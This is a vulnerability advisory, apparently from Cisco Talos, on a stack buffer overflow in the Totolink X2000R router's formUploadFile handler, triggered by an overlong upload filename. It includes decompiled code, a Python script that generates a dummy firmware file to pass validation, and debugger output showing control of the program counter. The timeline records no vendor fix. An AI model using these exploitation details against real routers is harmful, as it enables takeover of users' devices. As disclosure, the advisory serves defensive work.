Talos Vulnerability Report

TALOS-2026-2429

Totolink X2000R boa formUploadFile stack-based buffer overflow vulnerability

October 20, 2026

CVE Number

CVE-2026-9817

Summary

A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Confirmed Vulnerable Versions

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327)

Product URLs

X2000R - https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/242.html

CVSSv3 Score

9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

The Totolink X2000R is a popular budget gigabit home router primarly found in eastern markets. Supporting IPV6, WPA3, mesh capabilities among other features, the Totolink X2000R is a solid choice for the price point.

The Totolink X2000R mainly relies on the standalone boa binary for all web administration and subsequent configuration. While normally a security risk in itself due to the age, it appears that the version running on the X2000R has been patched. Regardless, for the current set of vulnerabilities we only pay attention to the Totolink-specific issues, so we start from the point where authentication has already occurred via the /boafrm/formLogin webpage, and then we can successfully interact with another /boafrm/form* page, each of which have a corresponding callback. For the current vulnerability we examine the /boafrm/formUploadFile page, which leads us into the formUploadFile() function:

0044ce38    size_t formUploadFile(struct client* cli)

0044ce50        int32_t upload_offset = get_readstart_offset(cli->uploadbuf) // [1]
0044ce60        char var_d8[0xc8]
0044ce60        
0044ce60        if (upload_offset != 0xffffffff)
0044cf20            // okay, we reach here...
0044cf20            uint32_t $v0_2 = isFileExist("/tmp/bzupload")
0044cf2c            char* uploadbuf = cli->uploadbuf
0044cf2c            
0044cf28            if ($v0_2 != 0)
0044cf34                get_filename_from_buf(buf: uploadbuf, dst: &upload_filename)
0044cf48                sprintf(dst: &var_d8, fmt: "<b>Upload Successful, file name: %s</b>", &upload_filename)
0044cf5c                write_to_firware_ini(readbuf: cli->uploadbuf, msgsize: cli->message_size_maybe, readoffset: upload_offset, 
0044cf5c                    filename: &upload_filename)
0044cf68                system(string: "killall batchupg >/dev/null 2>&1")
0044cf74                system(string: "batchupg & >/dev/null 2>&1")
0044cf84                return send_302_redirect(cli, redirect-url: "/bzupload.htm")
0044cf84            
0044cfb0            if (handleFirmwareFile(msgbuf: uploadbuf, max_size: cli->message_size_maybe, read_offset: upload_offset) == 0) // [2]
0044cfbc                get_filename_from_buf(buf: cli->uploadbuf, dst: &upload_filename)                                          // [3]
0044cfd0                sprintf(dst: &var_d8, fmt: "<b>Upload Successful, file name: %s</b>", &upload_filename)                    // [4]
0044cfe4                write_to_firware_ini(readbuf: cli->uploadbuf, msgsize: cli->message_size_maybe, readoffset: upload_offset, 
0044cfe4                    filename: &upload_filename)
0044cf84                return send_302_redirect(cli, redirect-url: "/bupload.htm")
0044cf84            
0044d00c            sprintf(dst: &var_d8, fmt: "<b>%s</b>", &invalid_file_format_err)
0044ce60        else
0044ce70            strcpy(dest: &var_d8, src: "<b><script>dw(Js_InvalidFormat)</script></b>")

Since we are uploading a file, we suitably start by looking to see if our http request actually contains multipart form data at [1]. Assuming there actually exists a file to upload, we check to see the /tmp/bzupload file exists. Unless we send a /form/formBuploadSetting request, this file will not exist. Regardless, since we control this, we hit the branch at [2], where by our uploaded firmware file is parsed and validated. Assuming we pass this check, we read in the filename from our multi-part form data at [3] and copy it without length restrictions at [4] resulting in a stack-based buffer overflow and command execution.

While this writeup could be ended at this point, it’s still worth describing what a “valid” firmware file is. As such the basic firmware struct is presented below:

struct fw_partition __packed
{
    char magic[0x4];             // [5]
    __padding char _4[4];  // unused  
    uint32_t mtd_seek_offset;    // [6]
    uint32_t fw_size;
    uint8_t firmware[fw_size];
};

struct fw_file {
     struct fw_partition[];
     char version_signature[0x14];
}; 

A given firmware file can have multiple partiions, but there’s only two partitions on the device that can be flashed, /dev/mtdblock0, the bios/kernel, and /dev/mtdblock 1 which is the squashfs filesystem. The magic bytes [5] can be cr6c, w6cg, or r6cr, which determines what type of firmware we’re trying to flash and which partition to flash, and the mtd_seek_offset determines where in the partition to start writing. There is also a very basic checksum that occurs, which either adds every 2 bytes or every 4 bytes together (depending on the firmware type) looking for a resulting 0x0 at the end of the process. Regardless, if we want to essentially bypass the flashing process while still having a “valid” firmware, we can use the following python to generate a dummy firmware and prevent messing up our exploitation:

#!/usr/bin/python
import struct

fwsize = 0
mtdoffset = 0

fwbuf = b""
fwbuf += b"cr6c"
fwbuf += b"\x80\xa0\x00\x00" # Don't actually know lol. 
fwbuf += struct.pack("<I", mtdoffset)  # offset we write into /dev/mtdblock0 or 1 
fwbuf += struct.pack(">I", fwsize)     # big endian for some reason. Next firmware starts at fwsize+0x10 
fwbuf += b"TOTOLINK-X2000R-Gh-V1\x0a"

with open("dummy_fw.bin.web", "wb") as f:
    f.write(fwbuf)

Crash Information

--------------------------------------

Breakpoint 8, 0x0044c5b4 in ?? ()

[-.-]> !ls
***********************************************************************************
***********************************************************************************
v0[H]      : 0x006c9807                         | s3[H]      : 0x004bb134
v1         : 0x00000022                         | s4[X]      : 0x00462fe0
a0[H]      : 0x006c9808                         | s5[X]      : 0x0048c92c
a1[H]      : 0x006c9107                         | s6[H]      : 0x004bb12c
a2         : 0x00000700                         | s7         : 0x0000000e
a3         : 0x7f626262                         | t8[X]      : 0x0048c2fc
t0         : 0x7efefeff                         | t9[L]      : 0x76d972b0
t1         : 0x80fefefe                         | k0         : 0x00000001
t2         : 0x81010100                         | k1         : 0x00000000
t3         : 0x87c20038                         | gp[L]      : 0x76de6400
t4         : 0x00000000                         | sp[S]      : 0x7f8b2c28
t5         : 0x00000001                         | ra[X]      : 0x0044c5a0
t6         : 0x00000001                         | status     : 0x0000f413
t7[H]      : 0x00490000                         | badvaddr[H] : 0x004980f0
s0[H]      : 0x00493cc1                         | pc[X]      : 0x0044c5b4
s1[H]      : 0x004935c0                         | fcsr       : 0x00000000
s2[H]      : 0x006c9107                         | restart    : 0x00000000
***********************************************************************************
   0x44c5a8:    move    a1,s2
   0x44c5ac:    addiu   a2,s0,-1
   0x44c5b0:    addu    s0,s1,s0
=> 0x44c5b4:    jal     0x47b9a0
   0x44c5b8:    move    a0,s1
   0x44c5bc:    sb      zero,-1(s0)
   0x44c5c0:    move    v0,s1
   0x44c5c4:    lw      ra,36(sp)
***********************************************************************************
#0  0x0044c5b4 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x4c5b4)
***********************************************************************************

[o.o]> x/1s $a1
0x6c9107:       'A' <repeats 200 times>...

[>_>]> info reg s1
s1: 0x4935c0

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[^_^] SIGSEGV

***********************************************************************************
***********************************************************************************
v0         : 0x00000000                         | s3[H]      : 0x004bb134
v1         : 0x00000000                         | s4[X]      : 0x00462fe0
a0         : 0x00000001                         | s5[X]      : 0x0048c92c
a1         : 0x00000001                         | s6[H]      : 0x004bb12c
a2[L]      : 0x76dde2d0                         | s7         : 0x0000000e
a3         : 0x00000001                         | t8[X]      : 0x0048c2ec
t0[H]      : 0x0049d558                         | t9[L]      : 0x772af8bc
t1         : 0x00fc4deb                         | k0         : 0x00000001
t2         : 0x00000000                         | k1         : 0x00000000
t3         : 0x800247e8                         | gp[L]      : 0x772cb020
t4         : 0x0000ffff                         | sp[S]      : 0x7f8b2d40
t5         : 0x000087c0                         | ra         : 0x41414141
t6         : 0x00000000                         | status     : 0x0000f413
t7[H]      : 0x00490000                         | badvaddr   : 0x41414140
s0         : 0x41414141                         | pc         : 0x41414141
s1         : 0x41414141                         | fcsr       : 0x00000000
s2         : 0x41414141                         | restart    : 0x00000000
***********************************************************************************
Invalid $pc @ 0x41414141
#0  0x41414141 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************

***********************************************************************************

Timeline

2026-06-16 - vulndev@cisco.com - Initial Vendor Notification
2026-06-23 - vulndiscovery@external.cisco.com - Follow-up sent
2026-06-25 - fae_hardware@zioncom.net - Vendor Acknowledged
2026-06-25 - vulndiscovery@external.cisco.com - Resent all notifications
2026-07-16 - vulndiscovery@external.cisco.com - Follow-up sent
2026-09-15 - vulndiscovery@external.cisco.com - Follow-up sent

Credit

Lilith Wyatt of Cisco Talos